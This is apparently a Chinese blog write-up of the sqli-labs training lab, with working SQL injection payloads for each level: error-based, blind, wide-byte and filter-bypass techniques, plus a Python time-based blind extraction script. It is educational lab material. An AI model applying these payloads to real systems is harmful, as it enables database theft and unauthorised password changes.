1. 程式人生 > >sqli-labs記錄

sqli-labs記錄

  • Less-1 **Error Based- String**
試了下單引號看到報錯,直接用Union聯合查詢或是報錯注入。 payload: 2221'union select 1,database(),user()%23
  • Less-2 **Error Based- Intiger**
數字型,和第一題差不多。 payload: -1 union select 1,database(),user()%23
  • Less-3 Error Based- String (with Twist)
這題輸入的引數多了括號包裹,不過根據報錯的提示很容易判斷。 payload: ?id=-1')union select 1,database(),user()%23 ps:如果沒有報錯可以通過:id=2'and'1'='1來判斷。
  • Less-4 Error Based- DoubleQuotes String
換成了雙引號,其他沒什麼變化: payload: id=-1")union select 1,database(),user() %23
  • Less-5 Double Query- Single Quotes- String
id登陸後沒有回顯了,不過報錯還顯示,這裡選擇報錯注入或是盲注。 payload: ?id=-2'||updatexml(1,concat(0x7e,(select database())),1)%23
  • Less-6 Double Query- Double Quotes- String
和上一題的區別是換成了雙引號。 payload: id=1"||extractvalue(1,concat(0x7e,(select database())))%23
  • Less-7 Dump into Outfile
這一題的過濾規則讓我疑惑了好一陣子。題目名是outfile,貌似是要我直接寫shell進去。 我先探測了一下語句規則,發現頁面提示的語法錯誤未必真的是語法錯誤,而是直接搜尋結果為空,就會提示語法錯誤。(這一點誤導了我好一陣) 繼續測試發現'#'也被過濾掉了。 分析萬規則後就可以直接通過盲注來做這題了。 payload: id=2'and(binary(substr((select database()),1,1))>'r')or'1'='2 然後回去看程式碼,尷尬的發現自己判斷錯了。 這題不是過濾了'#',而是引數外套了雙括號。。。 ps:要用outfile的話,要先在配置裡開啟檔案許可權。
  • Less-8 Blind- Boolian- Single Quotes- String
這題加個單引號,然後是布林型盲注。 payload: id=1'and(binary(substr((select database()),1,1))>'s')%23
  • less-9  Blind- Time based- Single Quotes- String
這題無論輸入什麼,返回的都是同樣的結果。無奈之下回來看題目名稱。基於時間的盲注。於是想到試一試sleep(): 1'-sleep(21)%23 果然sleep()被執行了。 那就好辦了: 指令碼: #coding=utf-8 import requests import time url="http://127.0.0.1/sqli-labs-master/Less-9/?id="   def getDatabase():     database=""     index=1     while(True):         for i in range(32,128):             payload="1\' and if(binary(substr((select database()),{},1))<=\'{}\',sleep(2),1)%23".format(index,chr(i))             #print payload             time_start=time.time()             requests.get(url+payload)             time_end=time.time()             if time_end-time_start>2:                 database+=chr(i)                 index+=1                 break         print database getDatabase() 執行的實在太慢了,其他的就不寫了。 回來看原始碼: $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);       if($row)     {       echo '<font size="5" color="#FFFF00">';           echo 'You are in...........';       echo " ";         echo "</font>";       }     else     {          echo '<font size="5" color="#FFFF00">';     echo 'You are in...........';     //print_r(mysql_error());     //echo "You have an error in your SQL syntax";     echo "</br></font>";         echo '<font color= "#0000ff" font size= 3>';              } }     else { echo "Please input the ID as parameter with numeric value";} 這題的sql語句沒有特殊的地方,只不過執行結果沒有區分,就讓我束手無策了,果然歷練不足。
  • Less-10 Blind- Time based- Double Quotes- String
和Less-9差不多,只是單引號換成雙引號
  • Less-11- Error Based- String
換成post型別了。直接萬能密碼就能登陸,通過union來獲取其他資料。 payload: uname=test'union select user(),database()%23&passwd=2
  • Less-12- Error Based- Double quotes- String
上一題換成雙引號了,通過報錯看到括號。 payload: uname=test")union select database(),user()%23&passwd=admin
  • Less-13- Double Injection- String- with twist
登陸成功關閉了回顯,選擇extractvalue報錯注入。 payload: uname=test')or(extractvalue(1,concat(0x7e,(select database()))))%23&passwd=admin
  • Less-14- Double Injection- Double quotes- String
和13題差不多。同樣報錯注入。 payload: uname=test"or(updatexml(1,concat(0x7e,(select user())),1))%23&passwd=admin
  • Less-15- Blind- Boolian Based- String
感覺又是做過的題。沒有報錯回顯,布林型盲注。 payload: uname=admin'and(binary(substr((select database()),1,1))>'r')%23&passwd=admin
  • Less-16- Blind- Time Based- Double quotes- String
和15題差不多,找到語句規則後,繼續布林型盲注。 payload: uname=admin")and(binary(substr((select database()),1,1))>'r')%23&passwd=admin  
  • Less-17 Update Query- Error based - Strin
這題看樣子是個Update語句,輸入一個使用者名稱和一個新密碼,就會修改對應使用者名稱的密碼,不太明白這題的目標是什麼。 想了半天沒想到該怎麼注入,無奈看了答案,結果發現答案如此簡單。。。 這題,對username做了過濾,passwd沒做過濾。 注入點就在passwd,可以使用報錯注入或是盲注,方法和select注入差不多。 payload: uname=admin&passwd=admin'or(updatexml(1,concat(0x7e,(select user())),1))%23
  • Less-18 Header Injection- Error Based- string
一個登陸框,可以用admin/admin登陸成功。試了下username和password,貌似沒注入點。 發現返回了ip地址和User Agent,結合題目名稱,看來是要向header裡寫東西了。 隨便輸入幾個引號試了下,發現返回了: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"', '127.0.0.1', 'admin')' at line 1 看樣子很像是插入語句的報錯。 讓我想起了做ctf時遇到過的二次注入,於是嘗試把查詢結果直接插入,發現失敗了,返回的還是我插入的字串。 題目名稱是報錯注入,那就用報錯的方式做吧。 首先通過: '-a()-' 得到資料庫:security。 爆表格: '-polygon(username)-' 得到table:uagents 爆欄位: '-(select * from(select * from uagents as a join uagents as b)c)='a '-(select * from(select * from uagents as a join uagents as b using(id))c)='a '-(select * from(select * from uagents as a join uagents as b using(id,uagent))c)='a 得到欄位:id,uagent, ip_address... 後面就不會了~ 無奈看答案,發現答案用了一種ExtractValue的方法。 這種方法使用者對XML文件進行查詢。 語法:extractvalue(目標xml文件,xml路徑) 如果第二個引數我們寫入的不是/xxx/xxx這種格式,就會報錯,並且返回我們寫入的內容。 類似語句: extractvalue(1, concat(0x7e, (select @@version),0x7e)) 拼接一個符號'~'和後面查詢的內容,觸發報錯,返回查詢的內容。 不過此方法限制長度32位元組,可以結合substr等使用。 類似的用法還有updatexml()。 所以後面可以繼續爆欄位內容和其他表: '-extractvalue(1, concat(0x7e, (select username from uagents limit 1,1)))-'a 學到了,學到了。
  • Less-19 Header Injection- Referer- Error Based- string
注入點換成referer,其他沒啥變化。
  • Less-20 Cookie Injection- Error Based- string
注入點在cookie,就是cookie處的報錯注入。 payload: uname=a'and(updatexml(1, concat(0x7e, (select username from uagents limit 1,1)),1))%23

  • Less-21 Cookie Injection- Error Based- complex - string
還是cookie的報錯注入,不過需要經過一層base64加密。 payload: uname=YWRtaW4nb3IodXBkYXRleG1sKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IGRhdGFiYXNlKCkpKSwxKSlvcicxJz0nMg== #admin'or(updatexml(1, concat(0x7e, (select database())),1))or'1'='2
  • Less-22 Cookie Injection- Error Based- Double Quotes - string
和Less-21差不多,換成雙引號。 payload: uname=YWRtaW4ib3IodXBkYXRleG1sKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IGRhdGFiYXNlKCkpKSwxKSlvciIxIj0iMg== #admin"or(updatexml(1, concat(0x7e, (select database())),1))or"1"="2  
  •  Less-23 **Error Based- no comments**
過濾了註釋符,繼續報錯注入。 payload:   ?id=2'or(updatexml(1, concat(0x7e, (select database())),1))or'1'='1
  • Less-24 - Second Degree Injections
有註冊、登陸、重置密碼功能。 看樣子像是二次注入,首先嚐試一次註冊,發現註冊後沒有自動登陸,而是需要輸入賬號密碼登陸,而回顯是使用者名稱,所以排除了插入使用者時的注入點。 猜想有可能是登陸後重置密碼代入了使用者名稱造成的二次注入。但是這種注入我只想到用來修改管理員密碼,貌似沒法爆庫。 為了驗證猜想,先看了下程式碼: 發現註冊使用者時,對輸入內容做了一個:mysql_escape_string()。 而在修改密碼時,是直接從session裡取出使用者名稱。 看來沒錯了。 我先註冊了一個使用者: test'or'1'='1'# 登陸使用者後,修改密碼為123。 然後資料庫裡所有密碼都被修改了。
  • Less-25 Trick with OR & AND
這題過濾了and和or,不過可以用||和&&替代,繼續報錯。 payload: ?id=2'||(updatexml(1, concat(0x7e, (select database())),1))%23
  • Less-26 Trick with comments
首先判斷注入型別,輸入一個1'會報錯,1和1"沒問題,說明是字元型注入。 然後繼續嘗試發現注入了and和or,而且是替換為空的過濾,所以可以用複寫來繞過。 看到過濾了空格,這裡嘗試了各種繞過,空格,特殊符號,都不適用。 看答案說是可以用%a0繞過,不過我的windows環境無法使用。 後來發現用括號可以,payload為: ?id=122'||(substr((select(database())),1,1))>'r 由於這題還有報錯,所以還可以用報錯注入的方式來做。
  • Less-26a Trick with comments
這題我沒做出來。 從這題能看出來,我一直以來的注入習慣都不太好,沒有總結出一套系統的方案。 首先第一步,應該是判斷注入點的型別,分別輸入1,1',1"後發現,1'會報錯,其他都是id=1的結果。 接下來,我就會直接去胡亂嘗試,這其實是錯的。(我嘗試的結果是最後我以為是數字型注入,而且沒發現過濾了#) 一直以來,我都沒有想過引數被括號包裹的情況,這裡實際上是需要測試一下的。 測試的方法是:  2'&&'1'='1 * 若查詢語句為where id='$id',查詢時是where id='2'&&'1'='1',結果是where id='2',回顯會是id=2。 * 若查詢語句為where id=('$id'),查詢時是where id=('2'&&'1'='1'),MySQL 將'2'作為了 Bool 值,結果是where id=('1'),回顯會是id=1。 這題用2'%26%26'1'='1即可得知題目是要先閉合前面的('。 接下來我應該篩一遍過濾,要不然就不會犯沒注意到#被過濾的錯誤了,這個錯誤讓我所有的判斷都跑偏了。 payload: ?id=122')||(substr((select(database())),1,1))>('s
  • Less-27 Trick with SELECT & UNION
這題過濾了select,union和空格,可以大小寫繞過,空格可以用%0a或是空格。 payload: ?id=2'or(updatexml(1, concat(0x7e, (selEct%0adatabase())),1))or'1'='1  
  • Less-27a Trick with SELECT & UNION 和上一題相比關閉了報錯,用盲注來做。
payload: ?id=2"and(binary(substr((selEct%0adatabase()),1,1))>'r')or"1"="2
  • Less-28 Trick with SELECT & UNION
這題多了個括號包裹。 payload: ?id=2')and(binary(substr((selEct%0adatabase()),1,1))>'r')or'1'=('2
  • Less-28a Trick with SELECT & UNION
直接用上題的Payload就行。 payload: ?id=2')and(binary(substr((selEct%0adatabase()),1,1))>'r')or'1'=('2
  • Less-29 Protection with WAF
       沒感覺到什麼waf,直接報錯注入。 payload: ?id=2'or(updatexml(1, concat(0x7e, (selEct%0adatabase())),1))or'1'='2'%23
  • Less-30 
雙引號的布林型盲注。 payload: ?id=2"and(binary(substr((selEct database()),1,1))>'s')%23
  • Less-31 FUN with WAF
加了個括號。 payload: ?id=2")and(binary(substr((selEct database()),1,1))>'r')%23  
  • Less-32 **Bypass addslashes()**
         這題做著沒有頭緒,看了程式碼發現是做了addslashes,然後開啟了gbk,那麼這題是寬位元組注入。 payload: ?id=3%df'or(updatexml(1, concat(0x7e, (select database())),1))%23  
  • Less-33 上一題的Payload就可以。
 
  • Less-34- Bypass Add SLASHES 這題沒做出來。看樣子又是寬位元組注入,但是換成了post型別,get型會通過URLencode,而post型不能這樣用,要將urf-8轉換成utf-16或utf-32,例如將‘轉為 utf-16 為 �'。就可以將後面的\吃掉,password隨便寫。
payload: uname=�'or(updatexml(1, concat(0x7e, (select database())),1))%23&passwd=admin  
  • Less-35 **why care for addslashes()**
這題普通的報錯注入就行了。 payload:   ?id=2 or (updatexml(1, concat(0x7e, (select database())),1))%23  
  • Less-36 **Bypass MySQL Real Escape String* 這題使用了mysql_real_escape_string過濾輸入,一樣可以寬位元組繞過。
payload:   ?id=2%df'or(updatexml(1, concat(0x7e, (select database())),1))%23  
  • Less-37- MySQL_real_escape_string
這題又是一個post型別的寬位元組注入。 payload: uname=admin�'or(updatexml(1, concat(0x7e, (select database())),1))%23&passwd=admin
  • Less-38 **stacked Query**
payload: ?id=2'or(updatexml(1, concat(0x7e, (select database())),1))%23
  • Less-39 **stacked Query Intiger type**
payload: ?id=2 or (updatexml(1, concat(0x7e, (select database())),1))
  • Less-40 **stacked Query String type Blind**
這幾題的關鍵就是判斷語句形式,先判斷出來單引號,然後判斷括號。 payload: ?id=2')and(binary(substr((selEct database()),1,1))>'s')%23
  • Less-41 **stacked Query Intiger type blind**
        又是一個數字型。         payload: ?id=2 and (binary(substr((selEct database()),1,1))>'r')  
  • Less-42 - Stacked Query error based
        這題折騰了許久,以為注入點在密碼更新處,用寬位元組去繞過,後來才發現這題不是gbk,而且注入點在登入處。         payload: login_user=admin&login_password=admin'and(binary(substr((select database()),1,1))>'d')and'1'='1&mysubmit=Login
  • Less-43
        這題同樣是登陸處的注入,報錯注入。         payload: login_user=admin&login_password=admin')or(updatexml(1, concat(0x7e, (select database())),1))%23&mysubmit=Login  
  • Less-44 - Stacked Query blind
        和上一題相比關閉了報錯,用盲注。         payload: login_user=admin&login_password=admin'and(binary(substr((selEct database()),1,1))>'s')%23&mysubmit=Login
  • Less-45 - Stacked Query Blind based twist
        加了個括號。         payload:          login_user=admin&login_password=admin')and(binary(substr((selEct database()),1,1))>'r')%23&mysubmit=Login  
  •     Less-46 ORDER BY-Error-Numeric
        這題是order by的注入,因為有錯誤回顯,可以使用報錯注入。         payload:      ?sort=4 or (updatexml(1, concat(0x7e, (select database())),1))  
    
  • Less-47  ORDER BY Clause-Error-Single quote
        多了個單引號。         payload: ?sort=2' or (updatexml(1, concat(0x7e, (select database())),1))%23  
  •      Less-48 ORDER BY Clause Blind based
        這次關閉了報錯,只能採用盲注的方法。選擇基於時間的盲注。         payload: ?sort=1 and if((binary(substr((select database()),1,1))>'r'),sleep(1),0)         這裡還有一種騷套路,可以用rand(True/False)來判斷。         payload:   ?sort=rand(binary(substr((select database()),1,1))>'r')  
 
  • Less-49 ORDER BY Clause Blind based
      這裡多了個單引號。     payload: ?sort=2'and if((binary(substr((select database()),1,1))>'s'),sleep(1),0)%23  
  •         Less-50 ORDER BY Clause Blind based
          繼續報錯注入。         payload:      ?sort=1 or (updatexml(1, concat(0x7e, (select database())),1))%23  
  •         Less-51 ORDER BY Clause Blind based
          報錯注入。         payload: ?sort=1'or (updatexml(1, concat(0x7e, (select database())),1))%23
  •          Less-52 ORDER BY Clause Blind based
        盲注。         payload: ?sort=if((binary(substr((select database()),1,1))>'r'),sleep(1),0)
  •         Less-53 ORDER BY Clause Blind based
          這題規則不太好判斷。         因為order by ‘1’和order by '1#'是一樣的。         payload: ?sort=1'and if((binary(substr((select database()),1,1))>'r'),sleep(1),0)%23
  • Less-54:Challenge-1
        題目型別變了,十次機會內拿到challengs庫裡的某值。     拿表名: ?id=122'union select 1,(select table_name from information_schema.tables where table_schema='challenges'),3%23 欄位名: (select column_name from information_schema.columns where table_name='snhkq3vdld') 值: select secret_FCQS from challenges.snhkq3vdld